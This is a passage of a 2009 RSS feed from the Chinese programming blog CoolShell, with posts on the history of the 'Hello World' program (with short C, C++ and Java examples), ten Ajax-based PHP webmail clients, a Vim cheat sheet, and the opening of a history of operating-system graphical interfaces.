+0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=169</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>编程的人应该都知道什么是Hello World。这是一个最简单的程序，其只在屏幕上输出“Hello World”字样，这通常是初学者的在学习编程时的第一个示例。...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/169.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/169.html\">Hello World 集中营</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>编程的人应该都知道什么是Hello World。这是一个最简单的程序，其只在屏幕上输出“Hello World”字样，这通常是初学者的在学习编程时的第一个示例。把打印出 &#8220;Hello World&#8221; 作为第一个范例程序，现在已经成为编程语言学习的传统。<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"alignright size-thumbnail wp-image-170\" title=\"hello_world\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/hello_world-150x150.png\" alt=\"hello_world\" width=\"150\" height=\"150\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/hello_world-150x150.png 150w, https://coolshell.cn/wp-content/uploads/2009/03/hello_world-200x200.png 200w\" sizes=\"(max-width: 150px) 100vw, 150px\" /><br />\n“Hello World”起源于Brian Kernighan 和<span lang=\"en\" xml:lang=\"en\">Dennis MacAlistair Ritchie</span>写的计算机程序设计教程《C语言程序设计》（<a class=\"extiw\" title=\"en:The C Programming Language\" href=\"http://en.wikipedia.org/wiki/The_C_Programming_Language\"><em>The C Programming Language</em></a>）而广泛流传；但这本书并不是 &#8220;hello, world&#8221; 的滥觞，虽然这是一个普遍存在的错误认知。</p>\n<p>这范例程序最早出现于 1972 年，由贝尔实验室成员 Brian Kernighan 撰写的内部技术文件《Introduction to the Language B》之中。不久同作者于 1974 年所撰写的《Programming in C: A Tutorial》，也延用这个范例；而以本文件扩编改写的《C语言程序设计》也保留了这个範例程式。</p>\n<p>&#8220;hello, world&#8221; 程序的标准打印内容必须满足“全小写，无惊叹号，逗点后需空一格”，不过流传至今，完全恪守传统的反而罕见。</p>\n<p><span id=\"more-169\"></span></p>\n<p>下面我们来看几个例子：</p>\n<pre name=\"code\" class=\"c\">#include &lt;stdio.h&gt;\n\nint main(void)\n{\n   printf(\"Hello, world!n\");\n   return 0;\n}\n</pre>\n<pre name=\"code\" class=\"c++\">#include &lt;iostream&gt;\nusing namespace std;\n\nint main()\n{\n    cout &lt;&lt; \"Hello, world!\" &lt;&lt; endl;\n    return 0;\n}\n</pre>\n<pre name=\"code\" class=\"java\">public class Hello\n{\n    public static void main(String[] args)\n    {\n        System.out.println(\"Hello, world!\");\n    }\n}\n</pre>\n<p>不过，最全的Hello World的集中营在这里：（请大家围观这个网页）</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://www.roesler-ac.de/wolfram/hello.htm\"><strong>http://www.roesler-ac.de/wolfram/hello.htm</strong></a></p>\n<p>这个网站很BT啊，其开始是从1994年10月3日，于1999年12月30日上互联网，2005年7月14日收集到了超过200个不同语言的Hello World，2006年12月6日达到300个，2008年2月27日达到400个。</p>\n<p>今天这个网站有一共421个不同语言的Hello World，其中有63个来自人类的语言。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17446.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/08/Architecture-Internships-Abroad-e1471517643765-150x150.jpg\" alt=\"这多年来我一直在钻研的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17446.html\" class=\"wp_rp_title\">这多年来我一直在钻研的技术</a></li><li ><a href=\"https://coolshell.cn/articles/4535.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"一些软件设计的原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4535.html\" class=\"wp_rp_title\">一些软件设计的原则</a></li><li ><a href=\"https://coolshell.cn/articles/19464.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/06/competition-360x200-1-150x150.png\" alt=\"如何超过大多数人\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19464.html\" class=\"wp_rp_title\">如何超过大多数人</a></li><li ><a href=\"https://coolshell.cn/articles/2589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg\" alt=\"十个免费的Web压力测试工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2589.html\" class=\"wp_rp_title\">十个免费的Web压力测试工具</a></li><li ><a href=\"https://coolshell.cn/articles/6424.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"Hash Collision DoS 问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6424.html\" class=\"wp_rp_title\">Hash Collision DoS 问题</a></li><li ><a href=\"https://coolshell.cn/articles/1817.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/200x200-150x150.jpg\" alt=\"9个最常见IE的Bug及其fix\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1817.html\" class=\"wp_rp_title\">9个最常见IE的Bug及其fix</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/169.html\">Hello World 集中营</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/169.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>10个基于Ajax的PHP Webmail客户端</title>\n\t\t<link>https://coolshell.cn/articles/154.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/154.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 13 Mar 2009 09:16:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Ajax开发]]></category>\n\t\t<category><![CDATA[PHP脚本]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[AJAX]]></category>\n\t\t<category><![CDATA[Webmail]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=154</guid>\n\n\t\t\t\t\t<description><![CDATA[<p> 下面是十个非常不错的，使用Ajax技术的用PHP开发Webmail的客户端。大家在使用的时候请注意其license。 1. RoundCube RoundCu...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/154.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/154.html\">10个基于Ajax的PHP Webmail客户端</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail1.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail2.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail3.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail4.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail5.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail6.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail7.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail8.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail9.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail10.jpg\"></a> 下面是十个非常不错的，使用Ajax技术的用PHP开发Webmail的客户端。大家在使用的时候请注意其license。</p>\n<h3 class=\"title\">1. <a href=\"http://roundcube.net/\">RoundCube</a></h3>\n<p>RoundCube Webmail 是一个基于浏览器的IMAP 客户端，其提供了丰富的功能，包含MIME，地址本，文件夹操作，邮件搜索和拼写检查。 RoundCube Webmail 由 PHP写成，需要 MySQL 或 Postgres 数据库的支持。其UI完全遵守于XHTML 和 CSS 2.</p>\n<p class=\"img\"><a href=\"http://roundcube.net/\"></a></p>\n<p class=\"img\" style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail1.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"webmail1\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail1.jpg\" alt=\"webmail1\" width=\"500\" height=\"285\" /></a></p>\n<p class=\"img\"><span id=\"more-154\"></span></p>\n<h3 class=\"title\">2. <a href=\"http://www.zimbra.com/community/downloads.html\">Zimbra</a></h3>\n<p>Zimbra 提供了一个开源的邮件和日历系统，也是基于Ajax技术，非常强大的客户端，他可以通过web service集成第三方的应用“mash-ups” ，于是你可以享有CRM，地图或其它更多的功能。</p>\n<p class=\"img\"><a href=\"http://www.zimbra.com/community/downloads.html\"></a></p>\n<h3 class=\"title\" style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail2.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"webmail2\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail2.jpg\" alt=\"webmail2\" width=\"500\" height=\"230\" /></a></h3>\n<h3 class=\"title\">3. <a href=\"http://www.xuheki.com/\">Xuheki</a></h3>\n<p>Xuheki 是一个很快的 IMAP 使用AJAX技术开发的客户端。你能想到的功能它基本上都有了，它使用的是 GNU General Public License.</p>\n<p class=\"img\"><a href=\"http://www.xuheki.com/\"></a></p>\n<h3 class=\"title\" style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail3.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"webmail3\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail3.jpg\" alt=\"webmail3\" width=\"500\" height=\"230\" /></a></h3>\n<h3 class=\"title\">4. <a href=\"http://www.squirrelmail.org/\">SquirrelMail</a></h3>\n<p>SquirrelMail 这是一个中规中矩的webmail，PHP语言写成，并没有使用AJAX技术，所以并不是很炫，不过它是使用了纯内建的PHP功能支持了IMAP和SMTP。所有的页面都是纯HTML 4.0 (没有任何JavaScript) ，这样的目的主要是为了最大化兼容于不同的浏览器。</p>\n<p class=\"img\"><a href=\"http://www.squirrelmail.org/\"></a></p>\n<h3 class=\"title\" style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail4.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"webmail4\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail4.jpg\" alt=\"webmail4\" width=\"500\" height=\"180\" /></a></h3>\n<h3 class=\"title\">5. <a href=\"http://atmail.com/index.php\">Atmail</a></h3>\n<p>AtMail, 一个免费的轻量级的 Ajax Webmail 客户端，由PHP写成，支持WEB和WAP。</p>\n<p style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail5.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"webmail5\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail5.jpg\" alt=\"webmail5\" width=\"500\" height=\"247\" /></a></p>\n<h3 class=\"title\">6. <a href=\"http://www.afterlogic.com/products/webmail-lite\">afterlogic</a></h3>\n<p>AfterLogic WebMail Lite PHP 是一个非常易用的 webmail 但其界面又非常Cool，其支持 AJAX 和皮肤。支持POP3 和 SMTP。支持收发邮件，多附件，多帐号，多域，邮件预览，站点管理。安装非常容易，需要PHP 4.1+，完全开源并完全免费。</p>\n<p class=\"img\" style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail6.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"webmail6\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail6.jpg\" alt=\"webmail6\" width=\"500\" height=\"247\" /></a></p>\n<p><a class=\"download\"></a> </p>\n<h3 class=\"title\">7. <a href=\"http://www.hastymail.org/\">Hastymail</a></h3>\n<p>Hastymail 是一个有完整功能的 IMAP/SMTP 客户端，由 PHP 写成。兼容于 PDAs, 手机, 文本浏览器，以及所有的主流浏览器。 Hastymail 有强大的 <a href=\"http://www.hastymail.org/plugins/\">插件 </a>系统，因为PHP程序员可以随意地改变或增加自己想要的插件。</p>\n<p class=\"img\" style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail7.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"webmail7\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail7.jpg\" alt=\"webmail7\" width=\"500\" height=\"247\" /></a></p>\n<h3 class=\"title\">8. <a href=\"http://mailr.org/\">Mailr</a></h3>\n<p>Mailr 是一个开源的 webmail 由 Ruby写成，它使用 Ruby On Rails 的web application 框架。</p>\n<p class=\"img\" style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail8.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"webmail8\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail8.jpg\" alt=\"webmail8\" width=\"500\" height=\"247\" /></a></p>\n<h3 class=\"title\">9. <a href=\"http://www.claros.org/web/home.do\">Claros inTouch</a></h3>\n<p>Claros inTouch 是一个Ajax 消息套装其包含了主要特性有webmail，地址本，记事本，日历(还在开发)，网络硬盘 (还在开发)，内建的即时聊天，以及RSS阅读器。这是第一个开源的webmail其包含了内建的垃圾邮件保护和即时聊天功能的项目。但主要使用了Java语言，利用 JSP/Servlets 及 J2EE技术和 MySQL 数据库。</p>\n<p class=\"img\" style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail9.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"webmail9\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail9.jpg\" alt=\"webmail9\" width=\"500\" height=\"247\" /></a></p>\n<h3 class=\"title\">10. <a href=\"http://www.postaciwebmail.org/\">Postaci</a></h3>\n<p>Postaci 是一个基于 PHP 的POP3/IMAP 邮件客户端，其支持 SMTP 认证。 其使用MySQL, mSQL, Microsoft SQL, Sybase 或PostgreSQL数据库。</p>\n<p class=\"img\" style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail10.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"webmail10\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail10.jpg\" alt=\"webmail10\" width=\"500\" height=\"247\" /></a></p>\n<p class=\"img\">文章：<a href=\"http://www.noupe.com/ajax/10-ajax-webmail-clients.html\" target=\"_blank\">来源</a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg\" alt=\"Javascript 装载和执行\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_title\">Javascript 装载和执行</a></li><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/5132.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"疯狂的 Web 应用开源项目\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5132.html\" class=\"wp_rp_title\">疯狂的 Web 应用开源项目</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Web版的VNC\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_title\">Web版的VNC</a></li><li ><a href=\"https://coolshell.cn/articles/1611.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/uizard2-150x150.jpg\" alt=\"Ajax开发利器UIzard \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1611.html\" class=\"wp_rp_title\">Ajax开发利器UIzard </a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/154.html\">10个基于Ajax的PHP Webmail客户端</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/154.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Vim命令速查卡</title>\n\t\t<link>https://coolshell.cn/articles/150.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/150.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 13 Mar 2009 08:45:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=150</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Vim是unix/linux下的文本编辑器，很牛，但也不好用，这是一个根本不需要小键盘和鼠标的编译器，是专业人士的编辑器。这里有一个命令速查卡。PDF文件可以在...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/150.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/150.html\">Vim命令速查卡</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Vim是unix/linux下的文本编辑器，很牛，但也不好用，这是一个根本不需要小键盘和鼠标的编译器，是专业人士的编辑器。这里有一个命令速查卡。PDF文件可以在这里下载：<a href=\"http://jrmiii.com/attachments/Vim.pdf\" target=\"_blank\">PDF</a> </p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/vim.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"vim\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/vim-300x282.png\" alt=\"vim\" width=\"300\" height=\"282\" /></a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim-150x150.jpg\" alt=\"无插件Vim编程技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_title\">无插件Vim编程技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" alt=\"给程序员的VIM速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_title\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/150.html\">Vim命令速查卡</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/150.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>16</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>操作系统图形界面发展史(1981-2009)</title>\n\t\t<link>https://coolshell.cn/articles/105.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/105.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 12 Mar 2009 09:23:40 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[OS]]></category>\n\t\t<category><![CDATA[UI]]></category>\n\t\t<category><![CDATA[Windows]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=105</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>  注意，本文这罗列了从1981年以来有重大意义的操作系统的图形界面。 首先，先介绍两个网站： http://www.guidebookgallery.org/...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/105.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/105.html\">操作系统图形界面发展史(1981-2009)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script> </p>\n<p style=\"TEXT-ALIGN: left\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-thumbnail wp-image-124\" title=\"19-windows-3\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3-150x150.gif\" alt=\"19-windows-3\" width=\"150\" height=\"150\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3-150x150.gif 150w, https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3-200x200.gif 200w\" sizes=\"(max-width: 150px) 100vw, 150px\" /></a>注意，本文这罗列了从1981年以来有重大意义的操作系统的图形界面。</p>\n<p><strong>首先，先介绍两个网站：</strong></p>\n<ul>\n<li><a href=\"http://www.guidebookgallery.org/\"><strong>http://www.guidebookgallery.org/</strong></a> 如果你比较关注图形化UI的设计， 可以上这个网站上看看。</li>\n<li><a href=\"http://toastytech.com/guis/index.html\"><strong>http://toastytech.com/guis/index.html</strong></a> 这是一个操作系统图形界面收集的网站，上面几科包括了所有的操作系统图形界面。</li>\n</ul>\n<p> </p>\n<p><span id=\"more-105\"></span></p>\n<p> 下面，让我们先来看看PC机上的第一个图形界面——<a href=\"http://en.wikipedia.org/wiki/Xerox_Alto\"><strong><span style=\"color: #9e0728; font-family: Tahoma;\">Xerox Alto</span></strong></a>(该系统并未商用，主要用于研究和大学)，其于1973年被施乐公司<a href=\"http://en.wikipedia.org/wiki/Xerox_PARC\"><strong><span style=\"color: #9e0728; font-family: Tahoma;\">Xerox Palo Alto Research Center (PARC)</span></strong></a>所设计，从此，开启了计算机图形界面的新纪元，80年代以来，操作系统的界面设计经历了众多变迁，OS/2, Macintosh, Windows, Linux, Symbian OS ，各种操作系统将 GUI 设计带进新的时代。下面是其图片（70年代的东西看起来还不错哦）</p>\n<p style=\"TEXT-ALIGN: left\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/01.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"01\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/01.gif\" alt=\"01\" width=\"463\" height=\"674\" /></a><br />\n<em><span style=\"font-family: Tahoma;\">Source: </span></em><a href=\"http://toastytech.com/guis/altoboot1.gif\"><strong><em><span style=\"color: #9e0728; font-family: Tahoma;\">toastytech.com</span></em></strong></a></p>\n<p> </p>\n<h2>1981-1985</h2>\n<h2><strong>Xerox 8010 Star</strong> (released in 1981)</h2>\n<p>这是第一个完整地集成了桌面和应用程序以及图形界面的操作系统，人们一开始叫它“<em>Xerox Star</em>”，然后又叫“<em>ViewPoint</em>”，再以后又叫作“<em><span style=\"font-family: Tahoma;\">GlobalView</span></em>”。</p>\n<p style=\"TEXT-ALIGN: left\"><em><span style=\"font-family: Tahoma;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/02-xerox-8010-star.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full 